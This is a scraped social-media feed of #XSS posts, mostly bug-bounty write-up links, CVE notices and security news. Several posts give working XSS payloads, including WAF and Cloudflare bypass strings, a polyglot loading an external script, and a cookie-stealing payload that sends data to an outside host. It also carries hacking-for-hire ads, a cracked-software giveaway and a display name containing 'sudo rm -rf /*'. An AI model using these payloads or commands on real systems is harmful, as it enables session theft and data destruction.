Abdelrhman Allam

@sl4x0a year ago

RXSS via CVE-2021-20323 Template: https://t.co/M6al3Bm3dS #bugbounty #xss https://t.co/vYUQ8qmgcS

profile

Programmatic.Solutions

@Programmatorisa year ago

Is converting `<` to `<` sufficient to prevent execution of JavaScript from arbitrary HTML? - Visit https://t.co/kxrX3AaGyd for the answer. #xss #javascript #html #infosec #devlife

profile

Briskinfosec Technology and Consulting Pvt Ltd

@briskinfoseca year ago

Is your #WordPress site using the #Lightspeed caching #plugin? Be aware of #security #vulnerabilities such as #XSS, #SQL injection, and privilege escalation that could compromise your #website's security. 🔗https://t.co/jGBOGHdqmI #dataprotection #DataBreach #websecurity #infosec https://t.co/pmFwTEnfCV

profile

Alnoor Faisal

@tashwish01a year ago

Blind Xss 🔥 https://t.co/FIZihWtuZf #hackerone #bugbounty #infsec #blind #xss https://t.co/nohzG9JSF9

profile

adametim

@hacking4every1a year ago

Day 22 of #100DaysOfHacking -revised some of my already obtained IT knowledge (XSS + LFI) -completed 5 tasks of AEC Hacking Competition 2023

profile

PenTest Magazine

@PenTestMaga year ago

AppSec Tales XII! Read here: https://t.co/Nr2infVtbi #pentest #pentesting #magazine #pentestmag #cybersecurity #Infosec #owasp #redteam

profile

Mahshooq Zubair 

@mq_xz_a year ago

Blind XSS via SMS Support Chat — $1100 Bug Bounty! by: no.pl4c3.l1k3.127.0.0.1 https://t.co/HJcRTlqvX1 #bugbounty #WriteUps

profile

Pentester Academy

@SecurityTubea year ago

Ever wanted to know how XSS attacks work? Try it hands-on, for free! In this lab exercise, you will pentest a vulnerable web application with the XSSer tool. Sign in at https://t.co/vfBZUZ9khb and get started at https://t.co/9eVbY19yLq #XSS #pentest #infosec https://t.co/TJw82KiDcb

profile

InfoSafeHub

@InfoSafeHuba year ago

Hello! I just wrote an article about automating XSS vulnerability hunting for mass cross-site scripting. You can check it out at:- https://t.co/GG8TwvPJBZ #bugbountytips #cybersecurity #hacking #ethicalhacking #websecurity

profile

Masaud Ahmad

@masaudseca year ago

Hello! I just wrote an article about automating XSS vulnerability hunting for mass cross-site scripting. You can check it out at https://t.co/xrcuSaiv3J #bugbountytips #cybersecurity #hacking #ethicalhacking #websecurity https://t.co/KNuEdpwW99

profile

Fat

@fattselimia year ago

Another one today this was for a Blind XSS and its a 7 months old report ^_^ #bugbounty #ethicalhacking #togetherwehitharder https://t.co/4QQ2Pvzj14

profile

Programmatic.Solutions

@Programmatorisa year ago

Is it possible to exploit unescaped user input into JavaScript form which only gets data via AJAX request? - Visit https://t.co/tHFv0xFnSO for the answer. #xss #infosec #software #softwareengineering #code

profile

Chevon Phillip

@ChevonPhillip2 years ago

I just published Blind XSS via SMS Support Chat — $1100 Bug Bounty! https://t.co/cFlJrCHurg #bugbountytip #bugbounty #bugbountytips

profile

InfoSafeHub

@InfoSafeHub2 years ago

From Basic to Advanced: A Guide to Bug Bounty Hunting Automation Techniques:- Checkout thread 👇 #bugbounty #bugbountytips #cybersecurity #ethicalhacking #vulnerability #websecurity #pentesting #automation #xss #oscommandinjection #subdomainenumeration #fuzzing #nuclei https://t.co/1UhW20pJ47

profile

Ninad Mishra

@NinadMishra52 years ago

XSS without HTML: Client-Side Template Injection with AngularJS https://t.co/sn45owMicz #BugBounty #bugbountytips #bugbountytip #CyberSecurity #infosec #Hacked

profile

Deepak Choudhary

@CipherEra2 years ago

File Upload Testing ( Method 5 ) => #WayToInject => Unrestricted File Upload Leads To Stored XSS. Poc: https://t.co/MLo6KAAm8y #CipherEra #VadixEra #AlphaEra #bugbounty #bugbountytips #offensivesecurity #webtesting #pentesting #fileupload #cybersecurity

profile

Programmatic.Solutions

@Programmatoris2 years ago

Uploading images safe of XSS, php code and virus - Visit https://t.co/UIAX2l3qW8 for the solution. #php #xss #virus #file_upload #infosec

profile

ravirajiq

@Ravirajiq2 years ago

I have found a xss bug 🤑. #BugBounty https://t.co/av0paJpiqW

profile

Masaud Ahmad

@masaudsec2 years ago

From Basic to Advanced: A Guide to Bug Bounty Hunting Automation Techniques LINK : https://t.co/vqZR1RIG3H #bugbounty #bugbountytips #cybersecurity #ethicalhacking #vulnerability #websecurity #hackingtools #pentesting #automation #xss #oscommandinjection #subdomainenumeration https://t.co/sUokHuD8wz

profile

Cybernoz

@Cybernozcom2 years ago

Exploiting Markdown Syntax and Telescope Persistent XSS through Markdown (CVE-2014-5144) https://t.co/mTYbqNLzqG #cybersecurity #cybersecuritynews #cybernews #infosec #informationsecurity

profile

VIEH Group

@viehgroup2 years ago

Cache Poisoning Allows Stored XSS Via hav Cookie Parameter (To Account Takeover) https://t.co/09PLZSTp6h #bug #bugs #bugbounty #bugbountytip #bugbountytips #hacking #hacker #ethicalhacking #ethicalhacker #ethicalhackers #cybersecurity

profile

Cybersecurity Tooling Bot

@infosec_intel2 years ago

Github: https://t.co/u3iCLyraBb Stars: 855 Watching: 44 Last change: Apr 2, 2023 #infosec #redteam #pentesting #hacking #cybersecurity #bugbounty

profile

Saitle OP

@SaitleO2 years ago

Duck JS payload, kill js with your new xss power😉 https://t.co/h2wgbmTXiV #bugbountytips #wapt #Pentesting

profile

flyseccorp

@flysec_corp2 years ago

Our cases for bypass WAF (Imperva) - autofocus/onfocus=any() --> onfocus=;var{cookie}=document;write(cookie) - autofocus/onfocus - onfocus=any() --> onfocus=;write(cookie) - onfocus=any() --> onfocus=;Function(`ale`+`rt(domain)`)() #BypassWAF #XSS #Imperva #bugbounty https://t.co/qzin4p4Igx

profile

Open Source CVEs

@OpenSourceHacks2 years ago

(CVE-2023-1760): Cross-site Scripting (XSS) - Stored in thorsten/phpmyfaq. https://t.co/w0FpZEJcPq Disclosed by https://t.co/6upkXZrCCJ, fixed by @ThorstenRinne... #opensource #CVE #bugbounty #security #vulnerability

profile

Open Source CVEs

@OpenSourceHacks2 years ago

(CVE-2023-1759): Cross-site Scripting (XSS) - Stored in thorsten/phpmyfaq. https://t.co/ixEya8G9Ed Disclosed by https://t.co/PLCH1wNNXA, fixed by @ThorstenRinne... #opensource #CVE #bugbounty #security #vulnerability

profile

Open Source CVEs

@OpenSourceHacks2 years ago

(CVE-2023-1755): Cross-site Scripting (XSS) - Generic in thorsten/phpmyfaq. https://t.co/Rga9tnABOP Disclosed by https://t.co/6upkXZrCCJ, fixed by @ThorstenRinne... #opensource #CVE #bugbounty #security #vulnerability

profile

Hossein

@ho3ein_332 years ago

@bughuntar @SaveToNotion #Thread #XSS #BugBounty

profile

Hackers News

@HackersNews2472 years ago

The Vulkan papers. 3CXDesktopApp incident. XSS flaw can lead to remote code execution. AlienFox targets misconfigured servers.. Hackers News https://t.co/VStfzexoIU #Hacking #Hacked#HackersNews #hacker #Hackingtime #Anonymous #hacktheplanet #news #newsUpdate #NewsUpdates

profile

Lewis

@0reoSec2 years ago

@3XS0: #FREE 2ಠ23 ♥ HCL AppScan Standard v10.2.0.28254 Full Activated - CyberSecurity - Discount 100% https://t.co/BkoA2rOHgO Link : https://t.co/W3WEHRzxxD #HackerOne #inFoSec #bugbountytips #Log4j #BugBountyTip #CyberSecurity #100DaysOfCode #Malware #CodeNewbie #XSS #Log4j…

profile

Dr.FarFar

@3XS02 years ago

#FREE 2ಠ23 ♥ HCL AppScan Standard v10.2.0.28254 Full Activated - CyberSecurity - Discount 100% https://t.co/Joixus9aMb Link : https://t.co/IDF7EDWn0q #HackerOne #inFoSec #bugbountytips #Log4j #BugBountyTip #CyberSecurity #100DaysOfCode #Malware #CodeNewbie #XSS #Log4j2 #Hacker https://t.co/knzlo6vHUM

profile

The XSS Rat - 🇺🇦

@theXSSrat2 years ago

Stay up-to-date with the latest #cybersecurity news! Our Python script scrapes the latest articles from multiple websites and outputs them to an HTML file. Check it out on GitHub: https://t.co/6SRT0miKUd #infosec #python

profile

Programmatic.Solutions

@Programmatoris2 years ago

DOM Based XSS and Adding HTML Elements - Visit https://t.co/wa95mCIYvK for the solution. #xss #javascript #jquery #infosec #engineering

profile

Red Hot Cyber

@redhotcyber2 years ago

In vendita i dati dell’italiana Alpi Aviation sul forum underground XSS #redhotcyber #informationsecurity #ethicalhacking #dataprotection #hacking #cybersecurity #cybercrime #cybersecuritytraining #cybersecuritynews #privacy #infosecurity https://t.co/0xIeBfC441

profile

Saitle OP

@SaitleO2 years ago

Found an XSS without much impact, cmon escalate it heres a resource to help you https://t.co/KAoFXcFOCi #bugbountytips #redteaming #Pentesting

profile

Jeetendra Joshi

@SH3lLH4CK3R2 years ago

@xer0dayz Is it possible to get RCE or SQL Injection using angular template injection like {{7*7}} ???? #bugbountytips #xss #sqli #hacker #BugBounty

profile

H1 Disclosed - Public Disclosures

@h1Disclosed2 years ago

⚡ Cache Poisoning Allows Stored XSS Via hav Cookie Parameter (To Account Takeover) 👨💻 @bxmbn ➟ Expedia Group Bug Bounty 🟥 High 💰 $750.0 https://t.co/ByN8bqdun6 #bugbounty #bugbountytips #cybersecurity https://t.co/DYYmnooTK7

profile

yappare

@yappare2 years ago

When looking for bypass techniques in XSS/SQLi, my main reference is always https://t.co/6Oz09YCylo and https://t.co/86avErGjVn forums. But both are no longer accessible, but thanks to the Wayback machine. Here's an example https://t.co/ZVfEjX1EaJ . #bugbountytips

profile

Ninad Mishra

@NinadMishra52 years ago

XSS Hunter #BugBounty #bugbountytips https://t.co/Is0rjcj7XS

profile

Lewis

@0reoSec2 years ago

@flightrising: ⚠️Summary: Emergency Maintenance ⚠️ On the #FlightRising website, we have posted our final update and summary on the attempted XSS attack on Friday, March 31, 2023. (1/2) #NotAprilFools #cybersecurity #infosec @0reoSec

profile

VIEH Group

@viehgroup2 years ago

XSS polyglot ⚡️ '"onclick=(co\u006efirm)?.`0`><sVg/i="${{7*7}}"oNload=" 0>(pro\u006dpt)`1`"></svG/</sTyle/</scripT/</textArea/</iFrame/</noScript/</seLect/--><h1><iMg/srC/onerror=alert`2`>%22%3E%3CSvg/onload=confirm`3`//<Script/src=//ChiragXSS.xSs.ht></scripT> #infosec

profile

Open Source CVEs

@OpenSourceHacks2 years ago

(CVE-2023-1704): Cross-site Scripting (XSS) - Stored in pimcore/pimcore. https://t.co/rplNwVt7OG Disclosed by https://t.co/5npLBWBmoO, fixed by pimcore maintainers... #opensource #CVE #bugbounty #security #vulnerability

profile

Open Source CVEs

@OpenSourceHacks2 years ago

(CVE-2023-1703): Cross-site Scripting (XSS) - Generic in pimcore/pimcore. https://t.co/DgUYi0RXth Disclosed by https://t.co/5npLBWBmoO, fixed by pimcore maintainers... #opensource #CVE #bugbounty #security #vulnerability

profile

Open Source CVEs

@OpenSourceHacks2 years ago

(CVE-2023-1702): Cross-site Scripting (XSS) - Generic in pimcore/pimcore. https://t.co/9whdkTz8ni Disclosed by https://t.co/eC26LfjqRN, fixed by pimcore maintainers... #opensource #CVE #bugbounty #security #vulnerability

profile

Open Source CVEs

@OpenSourceHacks2 years ago

(CVE-2023-1701): Cross-site Scripting (XSS) - Reflected in pimcore/pimcore. https://t.co/AvZZTzbxwk Disclosed by https://t.co/eC26LfjqRN, fixed by pimcore maintainers... #opensource #CVE #bugbounty #security #vulnerability

profile

CyberIQs

@CyberIQs_2 years ago

Super FabriXss: From XSS to an RCE in Azure Service Fabric Explorer by #infosec #infosecurity #cybersecurity #threatintel #threatintelligence #hacking #cybernews #cyberattack #cloudsecurity #malware #ransomware #cyber #threathunting #ZeroTrust #CISA https://t.co/Hu1tkKH4cQ

profile

Ninad Mishra

@NinadMishra52 years ago

XSS Filter Evasion Cheat Sheet #BugBounty #bugbountytips https://t.co/YOgJQWBy0C

profile

Sahnoun.oussama

@Sahnounoussama52 years ago

Instead of using : → javascript:alert(document.cookie) The best choice is : → data:text/html;base64,PHNjcmlwdDShbGVydCgnWENTJyk8L3NjcmiwdD4= #xss #hackerone #BugBounty #bugbountytips

profile

Sahnoun.oussama

@Sahnounoussama52 years ago

Instead of using : → <img src=x onerror=alert(1);> The best choice is : → <svg/onload=alert(1)> → <video src=x onerror=alert(1);> → <audio src=x onerror=alert(1);> #hackerone #XSS #BugBounty #bugbountytips

profile

Sahnoun.oussama

@Sahnounoussama52 years ago

Instead of using : → alert(document.cookie) The best choice is : → with(document)alert(cookie) → alert(document['cookie']) → alert(document[/cookie/.source]) → alert (document[/coo/.source+/kie/.source]) #XSS #hackerone #bugbountytips #BugBounty

profile

Sahnoun.oussama

@Sahnounoussama52 years ago

Cross-Site Scripting Instead of using : → alert('xss') → alert(1) The best choice is : → prompt('xss') → prompt(8) → confirm('xss') → confrim(8) → alert(/xss/.source) → window[/alert/.source](8) #xss #BugBounty #bugbountytips #hackerone

profile

Ninad Mishra

@NinadMishra52 years ago

Uber Bug Bounty: Turning Self-XSS into Good-XSS #bugbountytips #bugbounty https://t.co/SY5DuDdIDt

profile

CyberIQs

@CyberIQs_2 years ago

[webapps] Reprise Software RLM v14.2BL4 – Cross-Site Scripting (XSS) #infosec #infosecurity #cybersecurity #threatintel #threatintelligence #hacking #cybernews #cyberattack #cloudsecurity #malware #ransomware #cyber #threathunting #ZeroTrust #CISA https://t.co/Hu1tkKH4cQ

profile

CyberIQs

@CyberIQs_2 years ago

[webapps] ELSI Smart Floor V3.3.3 – Stored Cross-Site Scripting (XSS) #infosec #infosecurity #cybersecurity #threatintel #threatintelligence #hacking #cybernews #cyberattack #cloudsecurity #malware #ransomware #cyber #threathunting #ZeroTrust #CISA https://t.co/Hu1tkKH4cQ

profile

twelvesec

@twelvesec2 years ago

#Microsoft #patches a dangerous #RCE flaw found in the #Azure cloud service. #CyberSecurity #infosec https://t.co/B78iC6Ly6E https://t.co/AYXrcAxtJG

profile

Dheeraj Yadav

@Dheerajydv192 years ago

Ways for Hacking Admin Panels #bugbountytips 1. Accessing admin panels using Github 2. Accessing admin panels using blind xss 3. Accessing admin panels using open ports 4. Accessing admin panels using forced browsing 5. Accessing admin panels by reading sources(JS)

profile

Rachit

@iamR3KT2 years ago

One of my p2 XSS got duplicated and original report was submitted just 30 mins back.😭 #pain in life #bugbounty #journey #cybersecurity #Hacking https://t.co/BSnI2B3CF3

profile

Faisal Rathore

@AkaaZaan2 years ago

XSS payload to steal cookies ⚡️🍪 "><script>document.write(%27<img%20src="https://t.co/KeCpWdLpzp…"%20/>%27);</script> #infosec #bugbountytips #cybersecuritytips

profile

SecurCrew

@SecurCrew2 years ago

CVE-2022-47438 (booking_calendar) Auth. (editor+) Stored Cross-Site Scripting (XSS) vulnerability in WpDevArt Booking calendar, Appointment Booking System plug ... https://t.co/4Xu5UjWDKB #SecurCrew #infosec #BugBounty #CyberSecurity #OSINT

profile

SecurCrew

@SecurCrew2 years ago

CVE-2022-47596 (media_library_categories) Auth. (admin+) Stored Cross-Site Scripting (XSS) vulnerability in Jeffrey-WP Media Library Categories plugin <= 1.9.9 vers ... https://t.co/WchwECqsut #SecurCrew #infosec #BugBounty #CyberSecurity #OSINT

profile

SecurCrew

@SecurCrew2 years ago

CVE-2022-47444 (profilepress) Unauth. Reflected Cross-Site Scripting (XSS) vulnerability in ProfilePress Membership Team Paid Membership Plugin, Ecommerce, ... https://t.co/YPdpMd9P6Z #SecurCrew #infosec #BugBounty #CyberSecurity #OSINT

profile

Cyber Wiki

@theCyberWiki2 years ago

Introduction to Hacking, Hacker and Hacker Classes https://t.co/ABMu5pf9bE #CyberWiki #HackHunt #Hack #Hacker #Hacking #EthicalHacking #Network #EthicalHacker #Cybersecure #Cybersecurity #Vulnerable #Software #Pentesting #XSS #VAPT #Audit #Forensics #Coding #BugHunting https://t.co/xWZhXI4UbC

profile

VIEH Group

@viehgroup2 years ago

WAF Bypass XSS Payload in JSON:📷 ["');alert('CYBERTIX');//"] #XSS #infosec #bugbountytips #cybersecuritytips

profile

Vishal Vishwakarma

@rootxvishal2 years ago

WAF Bypass XSS Payload in JSON:⚙️ ["');alert('CYBERTIX');//"] #XSS #infosec #bugbountytips #cybersecuritytips

profile

Vishal Vishwakarma

@rootxvishal2 years ago

Cloudflare XSS Bypass ⚠️ <svg/onload=location/**/='https://t.co/9J76uAEMi3…> #infosec #bugbountytips #cybersecuritytips

profile

Md Ismail Šojal

@0x0SojalSec2 years ago

CloudfIare XSS 𝗕𝘆𝗽𝗮𝘀𝘀 𝗣𝗮𝘆𝗹𝗼𝗮𝗱:⚙️ <select><noembed></select><script x='a@b'a> y='a@b'//a@b%0a\u0061lert('CYBERTIX')</script x> #infosec #bugbountytips #cybersecuritytips

profile

Md Ismail Šojal

@0x0SojalSec2 years ago

WAF Bypass XSS Payload in JSON:⚙️ ["');alert('CYBERTIX');//"] #XSS #infosec #bugbountytips #cybersecuritytips

profile

Md Ismail Šojal

@0x0SojalSec2 years ago

Stored XSS Payload⚡️ <abdool attr=" --- x="=='='onmouseover=confirm`abdool` style="display:block;width:1000px;height:1000px;background:red"> --- "> #infosec #bugbountytips #cybersecuritytips

profile

WAF bypass

@waf_bypass2 years ago

0x0SojalSec discovered a #vulnerability that could allow attackers to bypass XSS protections from Cloudflare. 🔍 Read more about this security flaw here: https://t.co/7RcQ8izV7X. 🛡️ Stay safe & secure with #Infosec & #bugbountytips. 🔐 #Cybersecuritytips

profile

Md Ismail Šojal

@0x0SojalSec2 years ago

XSS payload to steal cookies ⚡️🍪 "><script>document.write(%27<img%20src="https://t.co/Y4b5kr8aSN"%20/>%27);</script> #infosec #bugbountytips #cybersecuritytips

profile

Md Ismail Šojal

@0x0SojalSec2 years ago

Cloudflare XSS Bypass ⚠️ <svg/onload=location/**/='https://t.co/JjpSb9H5fd> #infosec #bugbountytips #cybersecuritytips

profile

Md Ismail Šojal

@0x0SojalSec2 years ago

XSS polyglot ⚡️ '"onclick=(co\u006efirm)?.`0`><sVg/i="${{7*7}}"oNload=" 0>(pro\u006dpt)`1`"></svG/</sTyle/</scripT/</textArea/</iFrame/</noScript/</seLect/--><h1><iMg/srC/onerror=alert`2`>%22%3E%3CSvg/onload=confirm`3`//<Script/src=//ChiragXSS.xSs.ht></scripT> #infosec

profile

Sathish M

@goldenrockers12 years ago

@NinadMishra5 @terjanq @SaveToBookmarks #XSS #bugbountytips

profile

mann

@maxx_1912 years ago

XSScrapy- Automated XSS Finder - Tool to automate XSS discovery with extra features to find XSS, SQL https://t.co/gHAUdM0meF #bugbountytips #infosec #xss #bugbounty

profile

ACCEIS

@acceis2 years ago

Solution for the vulnerable code snippet n°2 🛠️ See the write-up article: https://t.co/YK9lkIgAGG Vuln : XSS 🪲 Language : Ruby 💎 Fixed code below: #codereview #vulnerablecode #codesnippet #brokencode #appsec #infosec #pentesting #securityexplained https://t.co/3FwmVtUnx8

profile

ACCEIS

@acceis2 years ago

Solution de l'extrait de code vulnérable n°2 🛠️ Voir l'article détaillé : https://t.co/fRVVRtWV2Z Vuln : XSS 🪲 Langage : Ruby 💎 Code corrigé ci-dessous : #codereview #vulnerablecode #codesnippet #brokencode #appsec #infosec #pentesting #securityexplained https://t.co/TZ81lKNs9L

profile

Open Source CVEs

@OpenSourceHacks2 years ago

(CVE-2023-1067): Cross-site Scripting (XSS) - Stored in pimcore/pimcore. https://t.co/ykKOFWRVCD Disclosed by https://t.co/JGbdQ993Su, fixed by pimcore maintainers... #opensource #CVE #bugbounty #security #vulnerability

profile

Security Pills

@secpillsnews2 years ago

🌩 Microsoft Azure Account Takeover @creastery explains how a mistake in a ReGex could be exploited by attackers to steal a user's Azure session and gain access other cloud resources. #appsec #bugbounty https://t.co/uFRpk2dSij https://t.co/zY6fLifWk7

profile

elsec

@adrielsec2 years ago

tip: swagger never disappoints! 👀 XSS at Shopify https://t.co/uNmUlT70PW #bugbountytips #bugbounty #infosec #seginfo #hacking #hackerone

profile

Ahmed Kamal Abu_Elwafa

@AhmedKa011840612 years ago

I just published a new Write-up on medium : How I Was able to find 2 Stored XSS via SVG file Upload https://t.co/7SnZuBx4Wx #bugbountytips

profile

VIEH Group

@viehgroup2 years ago

Interesting Stored XSS in sandboxed environment to Full Account Takeover https://t.co/u6w4j4jgZQ #bug #bugs #bugbounty #bugbountytip #bugbountytips #hacking #hacker #ethicalhacking #ethicalhacker #ethicalhackers #cybersecurity

profile

OpsMatters

@opsmatters_uk2 years ago

The latest update for #Indusface includes "What is Cross-Site Scripting (XSS)? Types of XSS, Examples, and Patching Best Practices" and "How to Prevent SQL Injection Attacks?". #cybersecurity #infosec https://t.co/DmQDQErqjL

profile

Rui Shang

@RuiShang92 years ago

#bugbountytips #BugBounty Server-Side MIME Sniff resulting from Go language project containerization https://t.co/DfF0mr6kCp

profile

Jesse Clark

@Hogarth45_2 years ago

@mongobug Gotta keep the impact above 22 if you want an invite to an event. Why report an xss for $250 and miss out on an event to get $20k+ https://t.co/1smezAKjk1

profile

Save to Notion 

@SaveToNotion2 years ago

@proawez This thread is saved to your Notion database. Tags: [Bugbountytips, Xss]

profile

1337aweyz

@proawez2 years ago

@fattselimi @TopengaNFT @TomNomNom @SaveToNotion #thread #bugbountytips #xss

profile

Nish Vamadevan

@nish2 years ago

I am seeing a lot of Cross-site Scripting (XSS) and Cross-Site Request Forgery (CSRF) vulnerabilites popping up lately. #cybersecurity #infosec #Vulnerabilities #Threat #Attack #XSS #CSRF

profile

Programmatic.Solutions

@Programmatoris2 years ago

What is the benefit of the X-XSS-Protection: 0 header in a production environment? - Visit https://t.co/42Eaw9sIBR for the answer. #xss #infosec #coder #developer #software

profile

drak3hft7

@drak3hft72 years ago

Hi @yeswehack everything okay? if the vuln is of medium severity, the program exposes that it pays up to 500 euros for the averages. Why is a Reflected XSS only paid 250? not a very nice thing for us bug hunters. #BugBounty #YesWeRHackers

profile

VIEH Group

@viehgroup2 years ago

Google Dork list for XSS https://t.co/cfsRfahf6C #bug #bugs #bugbounty #bugbountytip #bugbountytips #hacking #hacker #ethicalhacking #ethicalhacker #ethicalhackers #cybersecurity

profile

WAF bypass

@waf_bypass2 years ago

7h3h4ckv157 👩‍💻 Check out this awesome blog post by 7h3h4ckv157 to learn how to bypass Cloudflare and exploit XSS vulnerabilities. 🤩 Get the step-by-step instructions here: https://t.co/mWhfpuIdJT #infosec #bugbountytips #BugBounty

profile

7h3h4ckv157

@7h3h4ckv1572 years ago

Cloudflare bypass and exploit your xss https://t.co/rnvF60AivR #infosec #bugbountytips #BugBounty

profile

Hackwith_Garry 🖥🛰📡

@HackwithGarry92 years ago

Hack Services available 24/7 Link: https://t.co/9H4AubCjDg… #Metasploit #HackerOne #Synack #BugCrowd #BugBounty #BugBountyTips #InfoSec #CyberSecurity #100DaysOfCode #Malware #XSS https://t.co/mMMDrt5dEK

profile

Rajneesh Gupta | Cybersecurity Coach

@_RajneeshGupta2 years ago

🔺 Top 5 Web Application Vulnerabilities 1. Cross-site Scripting(XSS) 2. Broken Authentication 3. SQL Injection 4. Cross-Site Request Forgery(CSRF) 5. Insecure Direct Object Reference #hacking #cybersecurityt

profile

The Daily Swig

@DailySwig2 years ago

This month’s #BugBountyRadar: Fresh targets from Grindr and Miro, infosec drama with XSS Hunter’s new host, and Belgium rolls out the red carpet for ethical hackers https://t.co/9zOiONeuGu

profile

Nish Vamadevan

@nish2 years ago

Patch your Aruba Devices. A vulnerability in the ArubaOS web management interface could allow an authenticated remote attacker to conduct a stored cross-site scripting (XSS) attack against a user of the interface. https://t.co/bwf0D8qkFp #cybersecurity #infosec #aruba

profile

ether_dz

@BELKHIRIKhired12 years ago

so what do you think it's an ssrf or xss ? #cybersecurity #bugbounty

profile

Drocapy

@azam_gassim2 years ago

again xss 🔥 tipe: try to understand the site how it works through analyzing the features and internal functions site via view-source . Note: If we are talking about speed and performance in work @Bugcrowd Triaged & customer team is the best 🚀 #bugbountytips #BugBounty https://t.co/IzFt44872q

profile

Who Am I ?

@19Who_Am_I192 years ago

Reflected XSS in 2 mins , u have to check the hidden parameters its a hidden gems " WHO AM I ? " #bugbounty #bugbountytips #bughunting #hackerone #bugcrowd https://t.co/G2W2LudwWu

profile

LinuxSecurity

@LS_Advisories2 years ago

Ubuntu 58991: AWStats vulnerability - AWStats could allow crosssite scripting (XSS) attacks. Ubuntu Security Notice USN58991 February 28, 2023 awstats vulnerabili... @lnxsec #Ubuntu #Linux #infosec #opensource #linuxsecurity https://t.co/ClnvcyBT5Z https://t.co/WBzHcdzudG

profile

Mahshooq Zubair 

@mq_xz_2 years ago

Interesting Stored XSS in sandboxed environment to Full Account Takeover by: varmaanu001 https://t.co/7X3zjexTgn #bugbounty #WriteUps

profile

Pentester Academy

@SecurityTube2 years ago

Ever wanted to know how XSS attacks work? Try it hands-on, for free! In this lab exercise, you will pentest a vulnerable web application with the XSSer tool. Sign in at https://t.co/vfBZUZ9khb and get started at https://t.co/9eVbY19yLq #XSS #pentest #infosec https://t.co/ChABNlvuGF

profile

Hackwith_Garry 🖥🛰📡

@HackwithGarry92 years ago

Hack Services available 24/7 Link: https://t.co/9H4AubCjDg… #Metasploit #HackerOne #Synack #BugCrowd #BugBounty #BugBountyTips #InfoSec #CyberSecurity #100DaysOfCode #Malware #XSS https://t.co/hprxRy4jiq

profile

VIEH Group

@viehgroup2 years ago

Blind XSS fired on Admin panel worth $2000 https://t.co/YLXcpXrryQ #bug #bugs #bugbounty #bugbountytip #bugbountytips #hacking #hacker #ethicalhacking #ethicalhacker #ethicalhackers #cybersecurity

profile

ㅤㅤ ㅤ ㅤㅤ ㅤㅤㅤ ㅤ ㅤㅤ ㅤㅤㅤ ㅤ ㅤㅤ ㅤㅤㅤ ㅤㅤㅤㅤㅤ sudo rm -rf /*

@ApostolWario2 years ago

https://t.co/mH9fFH0fJq - RT @InfoSecComm: 48th edition of IWWeekly is live 🔥 In this week's newsletter learn about: 1. Slack Vulnerability 2. DOM-XSS on Microsoft 3. GraphQL Hacking 4. Hacking AWS Cloud 5. XSS Guide Read here: https://t.co/rmk18FBTko #earmas

profile

Osama Avvan

@osamaavvan2 years ago

Hello, Another Interesting XSS challenge, DOM Clobbering to XSS. In collaboration with @hamzaavvan https://t.co/cbUXZfOKke #xss #BugBounty #challenge

profile

Hackwith_Garry 🖥🛰📡

@HackwithGarry92 years ago

Hack Services available 24/7 Link: https://t.co/9H4AubCRsO… #Metasploit #HackerOne #Synack #BugCrowd #BugBounty #BugBountyTips #InfoSec #CyberSecurity #100DaysOfCode #Malware #XSS https://t.co/sYWU098Kco

profile

Mahshooq Zubair 

@mq_xz_2 years ago

Google Dork list for XSS by: anoint https://t.co/vSTj8hJa07 #bugbounty #WriteUps

profile

Cyber Fusion Team

@SecAlliance2 years ago

On 25 February 2023, a user on underground hacking forum XSS created a post advertising the sale of email access into the French Ministry of the Armed Forces and Brazilian Public Defenders Office (DPU).

profile

ㅤㅤ ㅤ ㅤㅤ ㅤㅤㅤ ㅤ ㅤㅤ ㅤㅤㅤ ㅤ ㅤㅤ ㅤㅤㅤ ㅤㅤㅤㅤㅤ sudo rm -rf /*

@ApostolWario2 years ago

https://t.co/mH9fFH0fJq - 48th edition of IWWeekly is live 🔥 In this week's newsletter learn about: 1. Slack Vulnerability 2. DOM-XSS on Microsoft 3. GraphQL Hacking 4. Hacking AWS Cloud 5. XSS Guide Read here: https://t.co/rmk18FBTko #earmas

profile

InfoSec Community

@InfoSecComm2 years ago

48th edition of IWWeekly is live 🔥 In this week's newsletter learn about: 1. Slack Vulnerability 2. DOM-XSS on Microsoft 3. GraphQL Hacking 4. Hacking AWS Cloud 5. XSS Guide Read here: https://t.co/B4RqgobE2a

profile

HACKLIDO

@hacklido2 years ago

💠 Blue Team Bootcamp Series (P3): How to Detect Cross-Site Scripting (XSS) Attacks By @LE0_Hak #cybersecurity #infosec #xss #bugbounty #bugbountytips #pentesting #web https://t.co/wJGSQrvnQ4

profile

Hackwith_Garry 🖥🛰📡

@HackwithGarry92 years ago

Hack Services available 24/7 Link: https://t.co/9H4AubCjDg… #Metasploit #HackerOne #Synack #BugCrowd #BugBounty #BugBountyTips #InfoSec #CyberSecurity #100DaysOfCode #Malware #XSS https://t.co/oFkI41GbFW

profile

Hackerinthehouse

@hackerinhouse2 years ago

Building an XSS Scanner with Python https://t.co/pyl341gapt #bugbounty #bugbountytips #cybersecurity #xss

profile

khalil shreateh 🧢

@Shreateh2 years ago

https://t.co/rQjN3k80aL #shreateh #exploit #hacker #computer #cybersecurity #blackleaders #technology #vulnerability #vulnerabilityisstrength #vulnerable #infosec #security #tech #hacking #programming #hackers #coding #safety #cybersec

profile

KRIPT099

@KRIPT0992 years ago

Building XSS Scanner Using Python 👇 https://t.co/chGTxtfaiZ #bugbounty #bugbountytips #cybersecurity #infosec #xss #xssscanner

profile

Saif abdullah khan🇧🇩

@0xmahi2 years ago

xss via jwt= 1. Make a jwt token and insert a xss paylaod. 2. The final url is like url/dest?jwt=vulnerable-jwt-token. (jwt= paramter was decoding the provided jwt token and show's it into the page). @TopengaNFT Thanks my frnd 🔥 #BugBounty #bugbountytips https://t.co/AbkzeQ517i

profile

Open Source CVEs

@OpenSourceHacks2 years ago

(CVE-2023-0995): Cross-site Scripting (XSS) - Stored in unilogies/bumsys. https://t.co/4cYB9DWrqU Disclosed by https://t.co/PLCH1wNNXA, fixed by unilogies maintainers... #opensource #CVE #bugbounty #security #vulnerability

profile

Lewis

@0reoSec2 years ago

@solminingpunk: Never forget the XSS attack on Flux(.)tech 😜 https://t.co/P9fXoH9SUU #cybersecurity #infosec @0reoSec

profile

Osama Avvan

@osamaavvan2 years ago

Hi folks, Back with another XSS challenge. Just a regular XSS, try to get a pop-up. https://xss-heaven(.)000webhostapp(.)com/xss.php Note: Remove the Brackets from URL Dm your solutions. #cyberseurity #xss #BugBounty

profile

H1 Disclosed - Public Disclosures

@h1Disclosed2 years ago

